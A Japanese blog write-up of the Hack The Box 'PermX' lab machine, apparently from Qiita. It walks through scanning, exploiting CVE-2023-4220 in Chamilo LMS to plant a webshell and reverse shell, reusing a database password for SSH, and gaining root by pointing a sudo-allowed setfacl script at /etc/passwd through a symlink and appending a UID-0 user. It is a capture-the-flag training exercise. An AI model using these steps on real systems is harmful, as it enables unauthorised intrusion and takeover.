1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】PermX【WriteUp】

Last updated at Posted at 2024-11-02

初めに

本記事は Hack The Box(以下リンク参照) の「PermX」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

初期探索

ポートスキャン

┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.23 --top    
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.23:22
Open 10.10.11.23:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 01:34 EDT
Initiating Ping Scan at 01:34
Scanning 10.10.11.23 [4 ports]
Completed Ping Scan at 01:34, 0.26s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:34
Completed Parallel DNS resolution of 1 host. at 01:34, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 01:34
Scanning 10.10.11.23 [2 ports]
Discovered open port 22/tcp on 10.10.11.23
Discovered open port 80/tcp on 10.10.11.23
Completed SYN Stealth Scan at 01:34, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.23
Host is up, received echo-reply ttl 63 (0.20s latency).
Scanned at 2024-07-15 01:34:35 EDT for 1s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
           Raw packets sent: 6 (240B) | Rcvd: 8 (316B)

22と80番Portが公開されている。

サイト探索

80番にアクセスするとpermx.htbが見えないといわれるので/etc/hostsに以下の設定を投入する。

10.10.11.23    permx.htb

設定後にアクセスすると以下のサイトがみえる。
1.png

サブドメイン探索

┌──(root㉿kali)-[~/work]
└─# ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://permx.htb/ -H "HOST: FUZZ.permx.htb" -mc all -fc 302 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response status: 302
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 210ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 241ms]
*                       [Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 208ms]
:: Progress: [100000/100000] :: Job [1/1] :: 706 req/sec :: Duration: [0:02:33] :: Errors: 0 ::

見つけたので、これも/etc/hostsに登録します。

10.10.11.23    permx.htb lms.permx.htb www.permx.htb

ディレクトリ探索

とりあえずdirsearchします。サブドメインがあるならこっちに穴がありそうなのでこちらを列挙します。

┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://lms.permx.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/work/reports/http_lms.permx.htb/__24-07-15_01-42-26.txt

Target: http://lms.permx.htb/

[01:42:26] Starting: 
[01:42:30] 200 -   46B  - /.bowerrc
[01:42:30] 200 -    2KB - /.codeclimate.yml
[01:42:34] 403 -  278B  - /.ht_wsr.txt
[01:42:34] 403 -  278B  - /.htaccess.bak1
[01:42:34] 403 -  278B  - /.htaccess.orig
[01:42:34] 403 -  278B  - /.htaccess.sample
[01:42:34] 403 -  278B  - /.htaccess.save
[01:42:34] 403 -  278B  - /.htaccess_orig
[01:42:34] 403 -  278B  - /.htaccess_extra
[01:42:34] 403 -  278B  - /.htaccessOLD2
[01:42:34] 403 -  278B  - /.htaccess_sc
[01:42:34] 403 -  278B  - /.htaccessOLD
[01:42:34] 403 -  278B  - /.htaccessBAK
[01:42:34] 403 -  278B  - /.htm
[01:42:34] 403 -  278B  - /.html
[01:42:34] 403 -  278B  - /.htpasswd_test
[01:42:34] 403 -  278B  - /.htpasswds
[01:42:34] 403 -  278B  - /.httr-oauth
[01:42:37] 403 -  278B  - /.php
[01:42:38] 200 -    3KB - /.scrutinizer.yml
[01:42:40] 200 -    4KB - /.travis.yml
[01:43:04] 301 -  312B  - /app  ->  http://lms.permx.htb/app/
[01:43:04] 200 -  708B  - /app/
[01:43:04] 200 -  540B  - /app/cache/
[01:43:04] 200 -  407B  - /app/logs/
[01:43:05] 200 -  101KB - /app/bootstrap.php.cache
[01:43:08] 301 -  312B  - /bin  ->  http://lms.permx.htb/bin/
[01:43:08] 200 -  455B  - /bin/
[01:43:09] 200 -    1KB - /bower.json
[01:43:14] 200 -    7KB - /composer.json
[01:43:15] 200 -  587KB - /composer.lock
[01:43:16] 200 -    5KB - /CONTRIBUTING.md
[01:43:21] 301 -  322B  - /documentation  ->  http://lms.permx.htb/documentation/
[01:43:21] 200 -    1KB - /documentation/
[01:43:25] 200 -    2KB - /favicon.ico
[01:43:34] 200 -    4KB - /index.php
[01:43:34] 200 -    4KB - /index.php/login/
[01:43:38] 200 -  842B  - /license.txt
[01:43:38] 200 -   34KB - /LICENSE
[01:43:41] 301 -  313B  - /main  ->  http://lms.permx.htb/main/
[01:43:41] 200 -   97B  - /main/
[01:43:59] 200 -    8KB - /README.md
[01:44:00] 200 -  403B  - /robots.txt
[01:44:05] 403 -  278B  - /server-status
[01:44:05] 403 -  278B  - /server-status/
[01:44:10] 200 -  444B  - /src/
[01:44:10] 301 -  312B  - /src  ->  http://lms.permx.htb/src/
[01:44:18] 302 -    0B  - /user.php  ->  whoisonline.php
[01:44:20] 200 -    0B  - /vendor/autoload.php
[01:44:20] 200 -    0B  - /vendor/composer/autoload_files.php
[01:44:20] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[01:44:20] 200 -    0B  - /vendor/composer/autoload_psr4.php
[01:44:20] 200 -    1KB - /vendor/
[01:44:21] 200 -    0B  - /vendor/composer/autoload_classmap.php
[01:44:21] 200 -    0B  - /vendor/composer/autoload_real.php
[01:44:21] 200 -    0B  - /vendor/composer/ClassLoader.php
[01:44:21] 200 -    0B  - /vendor/composer/autoload_static.php
[01:44:21] 200 -    1KB - /vendor/composer/LICENSE
[01:44:22] 200 -  531KB - /vendor/composer/installed.json
[01:44:24] 200 -    6KB - /web.config
[01:44:24] 200 -  480B  - /web/

Task Completed

色々見えますね。

ブラウジング

アクセスすると以下のようなサイトが見えます。
2.png
/app/配下には様々なコンフィグファイルが見えて列挙後の情報収集が少し大変ですが、すべてのymlファイルを取得したら以下のコマンドでクレデンシャルっぽい記述がないか探してみたらいいと思います。

┌──(root㉿kali)-[~/work]
└─# grep -i -r passw

これでも特段いい情報はありませんでした。

イニシャルアクセス

CVE-2023-4220

documentationのディレクトリ階層を表示してみると以下のようにVersion情報が見えます。
3.png
この1.11の情報から探ると以下の脆弱性情報がヒットしました。

認証なしでRCEできるみたいなのでこれを利用します。
以下のリポジトリからコードを落としてきます。

Webshellをとりあえず以下のコマンドでアップロードします。

┌──(root㉿kali)-[~/work]
└─# python3 main.py -u http://lms.permx.htb/ -a webshell

WebShellのアップロード先がToolの出力でわかるので、ここにアクセスしてみます。
pingを打ってみます。待ち受けは以下のようにして待ちましょう。

┌──(root㉿kali)-[~/work]
└─# tcpdump -i tun0 icmp

4.png
帰ってきてることがわかりました。これでリバースシェルを張れそうですね。

RevShell

いつものこのサイトを利用します。

Pythonのリバースシェルを使います。待ち受けは以下のようにしておきます。

┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444

5.png
張れました。

interactiveshell

タブキーや矢印を効かせたいので以下コマンドでShellを安定させます。

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lnvp 4444      
listening on [any] 4444 ...
connect to [10.10.14.60] from (UNKNOWN) [10.10.11.23] 58138
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                                                             
┌──(root㉿kali)-[/home/kali/Downloads]
└─# stty raw -echo; fg
[1]  + continued  nc -lnvp 4444
<c/lib/javascript/bigupload/files$ export TERM=xterm                     
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ export SHELL=/bin/bash
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ reset

横展開

mysql enumration

このShellの権限ではUserフラグは見えないので別のUserに移動する必要があります。
とりあえずこのwebアプリのクレデンシャルを洗っていたらconfiguration.phpdbのパスワードがありました。
7.png
とりあえずこれでDBへ接続してみます。

www-data@permx:/var/www/chamilo/app/config$ mysql -h localhost -u chamilo -p

8.png
user情報を列挙してみましたがsaltがあり、パスワードの復元は難しそうでした。
ラビットホールですね。

ssh

じゃ、このdbのクレデンシャル情報をそのままUserのSSHアクセス時に利用してみます。
Userにどんなのいるかを確認しときます。
9.png
このmtzさんでSSHしてみます。
10.png
いけました。これでUserフラグゲットです!

権限昇格

sudo -l

とりあえずsudoできるのみます。

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$ 

ほう、このシェルの中身を確認します。

mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
mtz@permx:~$ 

setfaclを打ってますな。んでどのファイルかはifで制限してそう。
homeの自分階層に絞ってますね。

exploit

じゃ、シンボリックリンクで別の階層に飛ばすようにしてあげます。
/etc/passwdとかの階層に飛ばしてWrite権限を付与させます。

mtz@permx:~$ ln -s /etc/passwd pass
mtz@permx:~$ ll
total 1400
drwxr-x---  5 mtz  mtz     4096 Jul 14 07:04 ./
drwxr-xr-x  3 root root    4096 Jan 20 18:10 ../
-rwxrwxr-x+ 1 mtz  mtz  1396520 Jul 14 06:44 bash*
lrwxrwxrwx  1 root root       9 Jan 20 18:12 .bash_history -> /dev/null
-rw-r--r--  1 mtz  mtz      220 Jan  6  2022 .bash_logout
-rw-r--r--  1 mtz  mtz     3771 Jan  6  2022 .bashrc
drwx------  2 mtz  mtz     4096 May 31 11:14 .cache/
drwxrwxr-x  3 mtz  mtz     4096 Jul 14 05:02 .local/
lrwxrwxrwx  1 root root       9 Jan 20 18:37 .mysql_history -> /dev/null
lrwxrwxrwx  1 mtz  mtz       11 Jul 14 07:04 pass -> /etc/passwd
-rw-r--r--  1 mtz  mtz      807 Jan  6  2022 .profile
drwx------  2 mtz  mtz     4096 Jan 20 18:10 .ssh/
-rw-r-----  1 root mtz       33 Jul 14 04:59 user.txt
mtz@permx:~$ 
mtz@permx:~$ sudo /opt/acl.sh mtz 7 /home/mtz/pass

これで付与できたはずなので確認します。

mtz@permx:~$ ls -lta /etc/passwd
-rw-rwxr--+ 1 root root 1880 Jul 14 07:03 /etc/passwd
mtz@permx:~$ 

イケてそう。
この/etc/passwdにRoot権限のUserを作成します。

mtz@permx:~$ openssl passwd pass123
$1$iHQiIyto$D/.8L0KjJrGZRgrE62Dfj0
mtz@permx:~$ 
mtz@permx:~$ echo 'root2:$1$iHQiIyto$D/.8L0KjJrGZRgrE62Dfj0:0:0:root:/root:/bin/bash' >> /etc/passwd

suでrootとしてアクセスできるか確認します。
11.png
いけました!!!これでRoot権限ゲットです。

まとめ

image.png
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはEasyらしいEasyだったかなと思います。特段目新しいことはしてません。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?